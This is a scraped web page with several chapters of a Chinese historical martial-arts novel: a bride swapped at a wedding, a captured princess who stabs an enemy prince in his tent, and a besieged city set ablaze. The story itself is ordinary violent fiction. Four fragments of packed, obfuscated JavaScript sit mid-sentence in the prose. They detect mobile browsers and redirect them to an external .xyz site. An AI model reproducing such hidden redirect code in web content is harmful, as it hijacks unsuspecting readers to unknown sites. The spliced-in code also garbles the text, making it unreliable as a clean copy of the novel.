船行的方向逐渐出现了光,从微弱的一点变得越来越亮。咚的一声,船头撞上了硬物,罗从舟率先跃上岸去,将缆绳系紧,又俯身来捞谢初原。他将谢初原扛在肩上,冷冷地看了眼晏泠音:“你走前面。” 如出一辙的话语,晏泠音此刻已明白过来,他不想让自己看见机关所在。她慢慢地走上岸去,刚迈出两步,就听身后笃笃两声,跟着咔哒一响,流水的轰鸣声顿时就减弱了,地道里也瞬间安静了不少。 “以罗统领这番身手技艺,若走正途,何愁不能青史留名。”晏泠音一字一句说得清晰,“何必从贼。” 她本以为罗从舟仍会装聋作哑,岂料这次他竟开了口。那卖过唱的好嗓子里溢出低笑,回荡在地道中阴冷得瘆人。 “青史算什么?”他用剑抵着晏泠音的后颈,催她快走,“我既无国,何须入旁人的史。” * 红绸装点的马车终于在府门前停下,这是谢朗空置多年的私邸,如今被简单布置成了婚房。他离鞍下马,替晏泠音挑开了车帘,又伸直手臂方便她扶稳。 他唤了一声:“殿下。” 女子的手隐在袖中,搭上了他的掌心,轻得像一片羽毛。她在借力下压的那一瞬飞身而下,嫁衣舞动间,短暂地遮了下谢朗的眼。 他在抬眸时看见了漫天的红。这本该是他最讨厌的颜色。 新郎新妇并肩往府门走去,路边列着追来看热闹的小孩,挤挤挨挨地站了数排。他们自然看不见新娘的脸,但那高挑清瘦的身形、摇曳如莲的步态,已足够引得他们面颊通红,一个劲儿地伸长了脖子张望。窃窃私语声嘈杂响起,无非是在感叹宫里的娘子有多美,这对新人又是如何般配。 直到有人忽然嚷了起来:“那人在做什么?” 蒙着盖头的新娘还要往前走,被谢朗抬臂拦住了。这条专为他们二人所留的道路上,站了第三个人。苏觅披了罩衫,艳色从领口、袖口和罩衫下摆无声溢了出来。他面色沉沉,喜怒难辨。 他挡住了新人归府的路。 谢朗今日没有佩剑,也阻止了旁边的侍卫拔剑。他收了身上的戾气后,便不像个将军,只是个春风得意的少年郎君。如云如霞的喜服将他衬得面如冠玉,举手投足间带了点慵懒轻狂。他相当客气地对苏觅道:“萧公子,这是何意?” 苏觅的这张脸生得太好,那鬼魅般的妖娆令人过目难忘。谢朗隐约觉得曾在何处见过他,只一时想不起具体的情形。 何况此人是晏泠音带回来的,他不便多问。 晏泠音在他身边极轻地颤抖着。她看不见外面的情形,却像是猜到了发生的事。谢朗原本扶着她手臂的手下滑了几寸,安抚般地攥住了她的手腕。 与之同时,苏觅迈步向前。 “萧公子,”仍守在马车旁的宋贤抬高了声音,“请自重。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14601374|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 苏觅恍若未闻。 他走得越近,晏泠音的颤抖便越明显,连谢朗也有些攥不住。他面色不变,眸光却沉了下去。周遭的喧哗声早已消失,人人噤若寒蝉,在那寒铁般的压迫感下屏住了呼吸。 宋贤伸手去推魏收——苏觅毕竟是晏泠音的人,由魏收去拦更为合适,可他这一下竟没推动,转头时,见魏收神情愣怔,似是不敢置信。 “魏兄,”宋贤低声唤他,“你在发什么呆?不要误了将军和殿下的大事。” 宋贤触到了魏收的手,却觉其上冰冷,新覆了一层汗,心头陡然警觉。他绷直了背,两眼紧盯着苏觅,只等苏觅再走近一步,就上前拦人。 可苏觅却停了步。他眼角微垂,眼底恹色汹涌,似要抬手去掀新娘的盖头,却又不知何故轻笑一声,收了手。 “既不是她,就不该我来。”苏觅这句话是对谢朗说的,“将军真的不知,自己身旁立着何人吗?” 他声音很轻,但谢朗听得分明。前半句怪得很,不知所云,只后半句的意思相当明确,让谢朗不觉皱起了眉。 他没有松开女子的手腕。 苏觅长眸斜挑,眼里并无惧色,反倒浮上来一层讽刺:“我见将军喜服之下还穿了软甲,这出狸猫换太子的好戏,也是将军的筹划吗?” 旁观众人不知发生了什么,都争着往前涌,一时间人声喧嚷,闹得不堪。宋贤忍无可忍,按剑上前,警告般地又唤了一声:“萧公子。” 就在那一瞬,白刃从嫁衣下翻飞而出,直刺向谢朗的咽喉。谢朗后撤一步闪身避让,谁知女子用的是虚招,剑尖霎时翻转,扎向了自己的胸膛。 宋贤已绕至谢朗的另一侧,一时回护不及,眼看女子就要血溅当场,斜刺里却飞来一粒石子,嗡的震开了她手中的短剑。 下一秒,魏收已疾步至她身前,一把掀开了她的盖头。 满场哗然。 惠和公主是个美人,这在北地早已传开了。但即便再美,也没有大婚当日不施粉黛的道理。盖头下的女子整张脸都相当素净,连胭脂也没有点上。最惹人注目的是那双凤眼,顾盼间本应神采飞扬,如今却已被泪水浸得通红, 她先看向面色沉冷的谢朗,接着是似笑非笑的苏觅,最后目光才落在魏收身上,几度张口欲语,又都咽了回去。 那只短剑从她手中滑落,当啷砸在地上。 “怎么回事?”魏收声音发颤。他也双目通红,却不是因为泪水。他看着青荷,又加重语气重复了一遍,“怎么回事?!殿下呢?” 若是晏泠音临时改了主意,不愿成亲,他魏收不至于一无所知。但若不是…… 他太阳穴突突地跳,感到了从未有过的心慌。青荷迎着他的目光,唇边扬起一个凄然的笑。那笑容竟逼得他后退两步,如坠寒渊。 她说:“哥哥,你杀了我罢。” 73. 双刃 迈上最后一级台阶时,晏泠音被阳光刺到了眼。她抬袖欲挡,却在瞬间被人攥住了手,大力往上带去。 惊叫被她生生压在了嗓子里。晏泠音整个人砰的摔在地上,疼得倒抽了口凉气。她忍痛抬眼,对上了一张熟悉的面容。 詹士伦。 她的双手手腕被他用绳索缠紧,打了个利落的死结,像捆缚某种猎物。 “呦,”罗从舟紧跟着从台阶上来,见到詹士伦时挑了下眉,“詹大人怎么亲自来了。” “这两位是要紧人,”詹士伦没理会他话中的讽意,只提着晏泠音的后领,粗暴地将她拎站起来,“大公子不想出任何差错。” 他力气大,晏泠音被勒得连连咳嗽,呛出了泪花。罗从舟冷哼一声,四下望了一圈:“马呢?” 周围是大片的草野,并不繁茂,夹杂着焦黄干裂的裸露泥地。詹士伦打了声哨,不远处便传来了马匹的嘶鸣。他的目光在谢初原毫无生气的脸上转了一圈,似是相当满意:“大公子原本还担心他身强体壮,药不倒他,现在看来,大名鼎鼎的谢都督也不过如此。” “甘死和如饴皆为我族秘药,外族无法可解。”罗从舟和他一起往马匹的方向走,“谢氏父子也是肉身凡胎,大公子多虑了。” “他们为人谨慎,”詹士伦赞道,“你能得手不容易。” “毕竟我已潜伏了这么久。”罗从舟将谢初原甩上马背,自己也翻身骑了上去,“若连这点信任也骗不到,岂不可笑。” “你这番做得好,”詹士伦一手攥着缰绳,一手把晏泠音往马背上推,视线仍落在罗从舟身上,“待你回去,大公子必有重赏。” “不敢,”罗从舟居高临下地看着他,一抹狐疑在眸中一闪而过,“詹大人才是居功甚伟,孤身混入泾蔚两州还能全身而退。我只是好奇,你当日分明有机会杀掉小公子,为什么不下手?只要你带回他的头颅,日后无限富贵皆可唾手而得。” 詹士伦目光锐利。他在晏泠音身后坐稳,喉中闷出笑来:“你不知那时的情形,当夜追杀我的是鬼杀刀白行也。我尚有要务在身,与她缠斗于我无益。” “鬼杀刀?”罗从舟重复了一遍这个名号,面上终于露出讶异,“她何时到了北地?为什么会护着小公子?” “你还不知道吗。”詹士伦看了眼晏泠音,故意咬字暧昧,“鬼杀刀是跟着公主来的,而小公子与这位公主关系匪浅。” 他在撒谎。当夜白行也出城传递军报,给他留下了放火烧屋的余裕,他们两人根本没有打过照面。晏泠音觉得怪异,但詹士伦的手搭在她背后要穴上,威胁的意味相当明显,她只能闭口不言。罗从舟见她微垂了头,似是默认,不禁更觉不安。 “詹大人,你应当也听过有关鬼杀刀的传闻,”罗从舟放轻了声音,“她若归附了公主,绝非小事。你上报大公子了吗?” “我倒觉得无需多虑。”詹士伦卡住晏泠音细白的脖颈,轻佻道,“仅凭鬼杀刀一人难成气候,你我不是皆在此地吗?何况这位公主性格软弱,难堪大任,不值得大公子为她费心。” 罗从舟看了眼被掐得面色涨红的晏泠音,皱眉道:“话虽如此,但她伶牙俐齿,看着倒是不笨,不杀了她,总叫我心中难安。当年大公子轻视苏十一,致使如今逐风阁屡屡生事,正是前车之鉴。” “交给谢朗。”詹士伦松开了手,夹紧马腹催马上路,“他要想守住泾州,就得杀父杀妻。” 两匹马并头疾驰,蹄下草屑四溅。晏泠音被詹士伦钳制着,难以动弹,只能在宽袖的遮掩下,用石片一点点磨着绳索。她拿不准詹士伦的立场,但这人显然相当危险,罗从舟更是近于丧心病狂。她必须想办法给谢朗报信。 晏泠音仰首,头顶是北地湛蓝的穹苍,她期盼着能看到流夜的身影。嫁衣上那种金粉触水生香,即便在暗处也能熠熠生光,流夜能目视千里,找到她应该不算太难。 难在救下谢初原。 马匹一前一后踏在浮了碎冰的河流里,耳边俱是哗啦声。远远地已能看到高耸入云的庸山,山下军帐连绵。詹士伦在中流勒停了马,回身对罗从舟道:“就送到这里罢,你该走了。” 罗从舟也停了下来,却没立刻动作:“我一起送去营地也无妨。” “不久便要攻城,”詹士伦看了眼泾州的方向,“须你接应。” 罗从舟终于点了头。他下了马,把缰绳交到詹士伦手中,笃定道:“此战必捷。” 詹士伦抓握住了马缰:“借你吉言。” 罗从舟施展开轻功,很快便隐没了身形。詹士伦一直注视着他远去,回头时,对上了晏泠音的视线。 “你趁人之危,”她说,“胜之不武。” 腕间的绳子已经割断了,晏泠音尽力平复呼吸,思考着对策。如果能跳上载着谢初原的那匹马,她或许能带着他一起走。只要先支开詹士伦。 詹士伦看着她,若有所思。 “殿下身上的气味很特别,”他说得平静,显然早就发现了,“罗从舟也沾上了,他回城必死。” 晏泠音一惊,面上不动声色,摇头道:“什么气味?我怎么没有闻到。” 他明知罗从舟的身份会暴露,却还是催他回城,将借刀杀人的手段用得巧妙。此人心机颇深。 “你们二人的性命皆在我手中,”詹士伦挑眉道,“殿下不怕吗?” “那你杀了我好了,”晏泠音冷冷道,“只怕你不敢。” “不必激我。”詹士伦笑得很淡。他跃下马背,牵着谢初原那匹马走出两步,“你的命于我无用,我放你走。” 晏泠音偏头看他,见他不似使诈,竟真的骑上了另一匹马,毫不留恋地往庸山驰去。她坐下的马连声嘶鸣,被她驱使着追了上去。 “殿下这是做什么?”詹士伦在呼啸的风声里对她喊道,“连逃命也不会吗?” “兵临城下,”晏泠音笑了一声,“我此刻回头,只会死于乱军之中。守城本就艰难,没有让城门为我一人而开的道理。” 詹士伦像是觉得新奇:“你若跟我走,就真的活不了了。” “阁下三番五次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617682|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 救我性命,”晏泠音在扑面的寒风里眯起了眼,“是与十二卫有什么渊源吗?” 她没听到回答。转头时,詹士伦正注视着她,那是她曾经见过的,在她昏迷前落到她脸上的复杂目光。 “你不是在试探我么,”晏泠音移开视线,在马匹腾跃的间隙里微微喘息,“我言出必践。给我一把刀,你想做什么,我帮你。” * 军帐里酒气冲天。笙乐悠扬,混杂着女子银铃般的笑语。她们穿着清凉,在深秋的天气里冻得瑟缩,却仍要强作欢颜,轮流上前,给帐中心的男子劝酒。 “大公子,再喝一杯……” 苏自膺倚在榻上,像是已经醉在了温柔乡。他眼眸半阖,露出来的一点黑亮里掩着贪婪。他自幼便受尽宠爱,养出了骄纵的性子,什么都想得到最好的。女人,金银,玩器……只要被他看上,便逃不出他的掌心。他嗜酒好色,没有餍足的时候,无论对人、对事,还是对权力。 他的父王老了。 苏自膺揽过女子光滑的肩臂,她咯咯轻笑,顺势倚靠在他身上,将酒盅举至他唇边:“喝呀,大公子……” 他也笑,却偏头不饮,任由酒盅滑落,碎瓷四溅。 女子的手被他扣住了,她张皇着想要挣扎,却动弹不得,只能笑道:“大公子这是……” 砰的一声,女子滚下了榻,被他抬脚狠狠踩住。一旁的乐舞已经停了,满帐的美人皆是花容失色,慌忙跪下,细声道:“大公子!” 詹士伦进去的时候,帐内的血腥气已经淡了,侍女们匍匐在地,用湿布抹着方才躺人的地方。他的五感皆比常人灵敏,只凭那点气味便猜到了发生的事,只面色如常,上前跪地请安:“主子。” 苏自膺下手狠辣,又惯会猜疑,他杀人不需要理由。 “居隐来了,”苏自膺撑起眼皮,懒洋洋地看着他,“你耽误了许久。刚刚一个妓子想要行刺,被我请走了。” 詹士伦以额触地:“属下失职。” “坐。”苏自膺抬手,便有两个侍女过去搀着詹士伦坐下,她们目睹了刚才的场景,手还在发颤。苏自膺端起一旁的酒盅,抿了一口,继续道,“你回来前,我让将士们排了阵,左将已带着前锋去了东城门。今日的时机不可多得,须得速战速决,以免夜长梦多。” 詹士伦一怔:“原先定下在申时攻城……”他用余光看了眼苏自膺的神色,将后半句话咽了回去,“主子说得是,现下时机难得。” “人带回来了吗?”苏自膺斜睨着詹士伦。他寡恩多疑,即便重用詹士伦,也从不让他靠近己身,只准他坐在两丈之外的小凳上。帐中侍卫戴甲持戈,沉默地分列在四角。 “带回来了。”詹士伦垂首,“谢初原重伤,还在昏迷。同来的还有谢朗的新婚妻子,梁国的公主惠和。” “姓谢的杀我幽国将士无数,不将他万般折辱难消我心头之恨。”苏自膺晃着酒盅,眸光阴沉,“梁国公主……谢朗的妻……”他突兀一笑,脸上横肉堆叠,看得詹士伦胃里一阵翻涌,“带上来罢。” 74. 饮恨 晏泠音迈入帐中时脚步踉跄。谢初原比她高大许多,压在肩头令她几乎喘不上气。满帐的人都在看她,带着厌恶和似有若无的怜悯。 苏自膺的目光也落在她身上,从她微乱的发到沾满尘土的嫁衣,最后落到她妆容清丽、与这一团污糟的军帐格格不入的脸庞上。他嘴角勾起一抹狞笑,冲她招手:“来。” 他看出晏泠音足步虚浮,显然不会武艺。 晏泠音的眸中压着不似作伪的屈辱和恨意。她望着苏自膺的目光毫不掩饰,让他想起了多年前的另一个人。她慢慢地走向军帐中心,连带着她背负的谢初原一起。在靠近苏自膺榻前时,她被一股大力拉扯上去,而谢初原滑落在踏脚边,摔出了沉闷的扑通声。 詹士伦在一旁轻声解释:“谢初原中的毒叫甘死,此刻即便杀了他也醒不过来。” 苏自膺哈哈大笑。他挑起晏泠音的下巴,让她仰脸看着自己,细细欣赏她眉间的花钿和红润的双唇。晏泠音眸中的厌憎更加浓烈,她像是不堪受辱,偏头避开苏自膺的手,露出了稍显蓬乱的发髻。 苏自膺忽然咦了一声:“这簪子……” 他第一次坐直了背,上身前倾,想去抓那只成色漂亮的玉簪。晏泠音原本侧坐在榻沿,此刻下意识往旁避让,引得苏自膺也不自觉地向榻边挪了身。 就在那一瞬,晏泠音袖中的短刀递出,直直刺向苏自膺的胸膛。她离得太近,苏自膺又正好重心不稳,躲闪不及,生生被划破一道口子,渗出了血。他怕死,此次亲征前在衣下穿了詹士伦进献的软甲,本该刀枪不入。他一时又惊又怒,一面去拽晏泠音的手臂,一面喝道:“来人呐!” 但就在四面的侍卫尚未反应过来之前,半死在地的谢初原已然暴起,旋身翻上榻沿,揽过了晏泠音。那柄带着倒刺的短刀还插在苏自膺胸前,被他狠厉一拧,搅得苏自膺痛呼一声,冷汗直下。 “来人……”他不甘心地喊道,声音却已小了下去,“抓住他们……” 谢初原将短刀拔出,没有急着结果苏自膺的性命,而是用它抵住了苏自膺的脖颈:“谁再上前一步,我就割下他的头。” 侍卫们齐齐停步,下意识看向了挡在最前面的詹士伦。他已经从小凳上站起,和谢初原对视着,面无表情。 谢初原拎着并不矮小的苏自膺,就像是拎着鸡仔。他往前走一步,詹士伦便跟着退一步,直至退到了军帐的门边。 “谢都督好忍劲,”詹士伦轻声道,“但你如今已陷入重围,无论如何不可能活着离开此地。我劝你还是尽早缴械投降,说不定大公子还能网开一面,将你的尸首送还家人。” “多年未见,”谢初原已两月没说过话,嗓音干涩嘶哑,只在笑起来时还能听出那不可一世的豪气,“我道你早已死了,没成想竟还活着,又沦落至此。你若还有半分脸面,便该就地自刎,向我泾州战死的儿郎们谢罪。” 他继续往前走,詹士伦却不再退让。他将佩剑卸在了帐外,此刻伸手拿过旁边侍卫的长.枪,指向了谢初原:“梁皇无道,我自问所作所为皆于心无愧。你若还执迷不悟,死守着那套陈腐的忠义,只会葬送谢家满门。” 谢初原仰天而笑。周围的侍卫们跟着詹士伦上前一步,缩小了包围圈,数十只长.枪明晃晃地对准了他,他却全不在意,短刀前抵,刺得苏自膺呻.吟出声。 “滚开,”他的笑声止住时,脸色也骤然冷了下来,“别让我说第二遍。” 腥臭的风滚进了晏泠音怀中。那不是风,是浑身带血的苏自膺。谢初原把他连人带刀扔给了她,疾步往门边冲去。他的步法太快,唯一看清的只有詹士伦,长.枪横斜,刺向了谢初原的肩。 詹士伦眼尖,最擅长找对手的弱点。谢初原几次三番被摔砸在地上,为了掩人耳目都是硬挨过去的,没有运半点内力护身,肩部必然受了伤。谢初原沉肩避过,空手接了白刃,在欺身近前的那一瞬赞道:“好枪法!” 他们缠斗在一处,侍卫们也都围拢过去,另有几个盯上了晏泠音。她不敢大意,刀刃死死抵着苏自膺的脖颈,慢慢地往门口挪。 谢初原拳下生风。他已近知天命的年纪,却不见老态。少时他便混迹江湖,学兼百家,诸般武器皆能上手,此刻拳法杂着掌法,时而又运指成剑,直取詹士伦双目。帐内空间狭小,詹士伦虽有长.枪在手,却难以施展,反不及赤手空拳的谢初原灵活。他被谢初原虚虚实实的攻势弄得眼花缭乱,逐渐失了耐性,终于在又一次被迫防守后,长.枪一点,飞身退到了帐外。 就等这一刻! 谢初原扯过旁边侍卫的后领,连人带枪砸向詹士伦,逼得他又退了半步。包围圈现出了豁口,谢初原踢开冲上来的侍卫,侧身来拉晏泠音,喝道:“动手!” 短刀刺进了苏自膺的心口,皮肉的阻力让晏泠音整个人都在发颤。她没有杀过人。 “走!” 谢初原重重拧过她的手,往里又捅了一寸,旋即足尖点地,架着晏泠音飞身而出。短刀被拔出时带出了滚烫的血,浇了晏泠音满头满脸。耳畔砰砰声不绝,谢初原人在空中,还能连续踢倒几个侍卫。落地时,晏泠音舌尖腥甜,不知何时已咬破了嘴唇。 阳光兜头而下,明亮灿烂得像一场谎言。她和谢初原此时已无人质在手,要想活着离开,只能靠跑。 她从未如此恨自己不会轻功。 谢初原拉住了一匹马——正是詹士伦骑来的那匹。晏泠音被他单手托上马背时,对上了詹士伦的目光。他手握长.枪,朝她极轻地点了下头。 “休要放箭!”詹士伦冲赶过来的弓手们沉声喊道,“莫要伤了大公子!” 苏自膺半个身子被拖出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655774|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了帐外,跟着流出来的还有汩汩的血,侍卫们还不知道他是死是活。谢初原没放过这个空隙,在数支长.枪齐刺时旋身踏上了枪头,借力跃起,又稳稳地坐到了晏泠音身后。 晏泠音早已强拽着马缰掉过马头,在谢初原上马的瞬间猛踢马腹,那马吃痛,拔蹄往南狂奔。 “爽快!”谢初原长笑出声,“老夫驰骋疆场数十年,杀敌无数,却还是今日最爽快!” 孤身深入敌营取人性命,听着威风,却不是一城守将应有之举。谢初原自任泾州都督起,便担上了一城百姓的性命,他是民众的衣食父母,不可任性使气,只图一己痛快,置万民安危于不顾。 谢初原今日能这样做、敢这样做,是因为谢朗长大了,已经到了能独当一面的时候。这些时日的军政事务,谢朗都处理得很好。 “都督此举……”晏泠音说到一半骤然伏身,避过了一支擦着头皮飞过的羽箭,“未免太过冒险。” 这匹马是难得的良驹,驰行极快,谢初原要应对四方的长.枪和羽箭,因而掌控方向之事便落在了晏泠音身上。她女扮男装时曾同京中子弟赛过马,并未落于下风,月前与隔葛茵躲避山匪时也纵马狂奔过,但像今日这般横冲直撞、左右进突,却还是第一次。她浑身紧绷,手上血混着汗,滑得厉害,须得双手交握才能持稳缰绳。 谢初原百忙之中还能腾出手来,叩了下她的后脑勺:“年纪轻轻,还管教起人了。你跟过来才是冒险。”他挥手挡掉了两支羽箭,又抬脚踹翻了一旁扑上来的士兵,语气变得沉郁,“好姑娘,谢家对不起你。” 谢朗要她帮忙设局,但设到什么程度,何时收手,却一概没有细讲。甚至,他都没有告诉晏泠音,谢初原早已醒来。 如果她被罗从舟带出泾州,也是出于谢朗的安排,但他却守口如瓶,事先没有透露半点风声…… 她当然能理解,只还是会觉得心寒。 羽箭越来越多,谢初原虽已尽力格挡,却难免还是有照顾不到的地方。晏泠音盯着前路无法回头,却能感觉到后背逐渐被浸湿。那不是她的血。 跑快点,再跑快点! 前面有士兵拉开了绊马索,地上撒布了铁蒺藜,在阳光下亮得晃眼。晏泠音的手被马缰勒出了血,她在即将撞上绊马索时陡然踢上马腹,那马长声嘶鸣,载着他们凌空跃起。它确然神俊,但毕竟负载两人,力有不逮,没能飞跃过整片蒺藜,眼看落地时就要伤了马蹄。 千钧一发之际,尖锐的破空声擦着地面袭来,嗖嗖两下撞飞了马蹄下的铁蒺藜。如此眼力,如此准头,普天之下只怕找不到第二人。 这趟险冒得值,晏泠音默想着,强迫自己打起精神。至少她结识了詹士伦。 山风倏地扑面,送来新鲜泥土的咸腥。两人一马绕过了庸山的东南角,跑出了幽军的营地。 75. 问酒 身后已听不见追兵的声音,谢初原中气十足地笑道:“竖子尔尔……”他咳了一声,嗓音又有些哑,涩声道,“让马歇一下罢。” 方才跑得太急,马和人都出了一身的汗。谢初原翻身下马时趔趄了一下,扶着马鞍才将将站稳。他取下马鞍一侧悬挂的水袋,嗅了嗅,仰头一口气灌了半袋,神色倒是如常。 “都督可是伤到了?”晏泠音也跟着翻下了马,缰绳还攥在手中,“一回泾州,我们就去找大夫。” 谢初原面色有些发白。他前一阵是实打实地昏迷在床,身子虚亏,清醒过来也只是这两日的事。刚刚的打斗颇耗力气,引得他浑身筋骨都在隐隐作痛,但他素来不拘小节,于病痛只一笑而过:“一点皮外擦伤罢了,不值当。” “话虽如此……”晏泠音转过目光,望向远处的泾州城,神色忽变,“都督!” 谢初原也看见了,就连拱着草皮的马也昂起了脖颈,双目瞪大。泾州城被罩在了火光里,火势还在不断扩大,竟盛如乐山被焚的冲天大火。那不是攻城的火,它是从城内燃起来的。 怎么会? 晏泠音有一瞬愣怔,身上起了寒战。罗从舟身带异香,已然败露,谢朗不可能给他放火烧城的机会。他们筹办这场婚事时,将城内守备排得破绽百出,但似松实紧,任何稍有异动者都会被立刻发觉。为什么仍会出事? 谢初原扔了水囊飞身上马,神色是从未有过的寒凉。晏泠音紧跟着攀上马背,还未坐稳,那马已撒开四蹄,箭一般往泾州冲去。 * 阿承在城中疾走,找着苏觅。滚滚浓烟呛得他接连咳嗽,胸中窒闷难言。他身形飘忽,在不断倒压下来的房梁间跳跃躲闪,好几次都差点被砸伤。他尚且如此,城中那些手无缚鸡之力的老弱妇孺的惨状,便可想而知。 久寻不至,他心内焦躁,对跟着他的黑衣少年们打了个手势,彼此分头去寻。 他主子本就有肺病,再耽搁下去,只怕凶多吉少。 拐入一条小巷时,火龙扑面。他咬牙冲了进去,一手掩面,一手扑打着身上沾到的火星,不提防脚下被绊了一下。他瞥了眼地上的东西,发现是个压在门板下的孩子,只露出脑袋,枕着一滩血。 阿承本不欲管,走出两步,还是转身绕了回来,一把扛起了那面沉重的门板。 孩子吃痛呻.吟。 阿承伸手去拉他,凑近时只觉他身上有股怪味。不只是血的味道,还杂着硫磺味和腥臭的油污味。阿承动作一顿,忽然将那孩子狠狠掼倒在地,一脚踏上他的胸口,三两下抹去了他脸上的尘泥。 借着火光,他看清了孩子的脸。 “是你!”阿承如梦初醒,在汹涌的热浪里觉到了寒意,“是你们放的火!” 原本奄奄一息的孩子咯咯笑了起来。他声音粗重,不似孩童,倒像是个壮年男子:“少阁主……你来晚啦。” 阿承几乎要将牙齿咬碎。他提着那人的领口,迫他抬起头来,厉声道:“公子在哪里?” 孩子只是古怪地笑着,口中已只有出气没有进气。 周围的火越烧越旺,阿承将他摔回地上,抬步欲走,忽觉身周氛围陡变。他一惊之下来不及拔剑,只能就地卧倒,连滚了三圈。那柄挟风而来的长刀追逐着砍了三次,次次擦过他的鼻尖。 “我是不是说过,”白行也的衣袖被火燎掉了,露出的臂膀白皙胜雪,面容却冷如罗刹。她用刀指着跌坐在地的阿承,眼中毫无情绪,“我不想再见到你。” 巷中的硫磺气比别处都要浓重,白行也不可能闻不到。阿承发觉她似乎误会了什么,张口想要解释:“白姑娘……” 白行也已挥刀刺了过来。 阿承纵身跃起,长剑刷的出鞘,硬扛下了她那一刀,被震得喉间血味上涌:“白姑娘!我知你未必信我,但如今火势已起,你杀我无益,要紧的是灭火!” 他不反击,只是格挡,几招下去左支右绌,已被逼到了墙沿。白行也冷声嗤道:“说得好听。” “现下泾州的储水已尽,是被人做了手脚。”阿承的齿间溢出血来,他狠咽一口,咬字清晰,“城里有一位偃师,找到他,只有他能调出水源。我若诓你,叫我天诛地灭。” 白行也提刀看着他,似信非信:“他在哪儿?” 阿承正要应答,忽然惊道:“小心!” 烧坍的木料塌向两人站立的地方,白行也单手揽上他的腰,带着他旋身跃起。那木料似是长了眼睛,拖着长长的烈焰一块接一块地砸向他们,白行也步法迅疾,足尖虚点,踏风转身,虽然还抓着阿承,却仍轻盈如春日飞燕。 她才是归云步的主人。 一旋、两旋、三旋……归云步至多能在空中完成七道旋身,如今逐风阁中唯有阿承能做到四次。白行也一侧的手臂被他压着,身形难稳,在转完第六圈时便开始控制不住地下坠,可她没有松手。 阿承忽然扑上她的肩,闷哼了一声,与此同时,白行也倏地抬手,掐住了一根细如毫发的银针。 另一根已扎在阿承背上。 “喂!”白行也双脚刚着地便扳过了阿承的脸,恼道,“你做什么好人?” 阿承的唇色开始发紫,他只是咳,说不出话。白行也松了手,将银针刺进地上那人的脖颈,却发觉他已没了呼吸。 “解药呢,”白行也撕开那人的衣襟,被热浪蒸出了汗,“针上有毒。” “走……”阿承勉强呛出一句,捂着唇跪倒在她身侧,“快走……” 她找不到解药,巷道旁的屋宇却已烧塌了大半,再耽搁下去,他们两个都会葬身火海。白行也背起阿承,三两步跃上了石墙,指间还夹着银针。 “你振作点,”她对背后的少年说,“要是死在这里,连埋骨的地方都没有。” * 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673447|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >崔婉在屋里熬药。甘死和如饴都是难缠的剧毒,解毒的药材难寻,熬制的时辰也有讲究,凡有一个步骤出了差错,就得全盘重来。此事非小,她或许等得起,谢朗和谢初原却未必。 这些日子,她从不让旁人踏进她的药房。 背后的门吱呀作响,那不是风。崔婉合上膝头的医书,从药炉边站了起来。回身时,她看见了形容憔悴的罗从舟。 “罗统领,”崔婉顿了顿,目光下滑,“你受了伤。” 火光在窗外忽地拔地而起,她心中一惊,想要出门查看,但被罗从舟挡住了。他用左手捂着胸口,血正源源不断地从指缝里流出来,染红了半个身子。 “崔姑娘,”罗从舟的气息是颤的,语气却相当平静,“不,我不是来治伤的……我有话要告诉你。” 他站立不住,靠着门框滑坐在地,每喘息一次,便有几滴血啪嗒砸落地面。崔婉回身取来了金疮药,但他的伤口深,血流得也急,药膏刚抹上去便被冲散了。 “谁伤的你?”崔婉收了药瓶,又去拿止血的绷带。她心中隐有猜测,泾州城里,武艺比罗从舟高的本就寥寥无几,还要将他重伤成这种样子,左不过是那两个人之一。 “你有善心,”罗从舟半倚在门上看她,气若游丝,“不愧是他的女儿。” 崔婉的动作不停,神色却变了。她在包扎的间隙里看了眼罗从舟,发现他也在端详她。 “没用的……谢馥川下手狠,没给我留活路,要不是城门遇袭,他也不会放我跑开……”罗从舟咳了起来。这里是泾州的中心,听不见城门处的厮杀声,崔婉觉得焦躁。她紧盯着罗从舟:“你要说什么?” 罗从舟却问她:“有酒吗?” 